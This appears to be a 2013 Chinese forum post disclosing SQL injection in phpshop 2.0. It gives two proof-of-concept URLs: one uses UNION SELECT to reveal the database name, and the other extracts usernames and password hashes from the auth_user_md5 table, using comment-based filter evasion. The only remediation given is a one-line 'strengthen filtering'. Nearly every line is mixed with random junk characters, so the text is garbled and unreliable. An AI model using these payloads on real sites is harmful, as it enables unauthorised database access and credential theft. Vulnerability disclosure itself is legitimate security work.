标题 : phpshop 2.0 SQL Injection Vulnerability
, B/ M% j: A! a M# Y% y8 x# H. G9 y" s% G6 T% E/ _
作者 : By onestree
" |) A4 K4 @2 l; f3 u. m w1 s下载地址 : http://code.google.com/p/phpshop/downloads/list
* s# {4 {* X8 I6 v( B测试地址: windows 7 / ubuntu
2 f, a- _- n) [4 E5 L3 G$ G: j' ~
. `! \$ M6 U7 D1 a! ]
, f3 S" P0 A2 d( o8 w1 jSQLi p0c:
' Q2 s6 o+ y& i C: J+ e # c' ]0 U% t h0 {6 m' _
==================
4 X) y; V; W" v$ c B; j0 X0 a6 F
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
, W/ Y/ H! e# O1 gunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --) Y& v) y5 | P) W: y# \& T; M
$ X2 T5 f2 s6 @" g$ s3 X7 j; Phttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
* @* Y, D; K0 O8 D5 q9 p4 Z
& X! m) G0 B+ T4 S; g5 J L. R% A修复：, s2 y2 w+ T8 J. J7 a
加强过滤% ~5 u4 G4 ?: L& E' c3 M
8 i+ W0 [9 L& Z! H
. I: ^" U" V! @6 x: [5 P# |
|
发表于 2013-1-18 18:24:10
收藏
支持
反对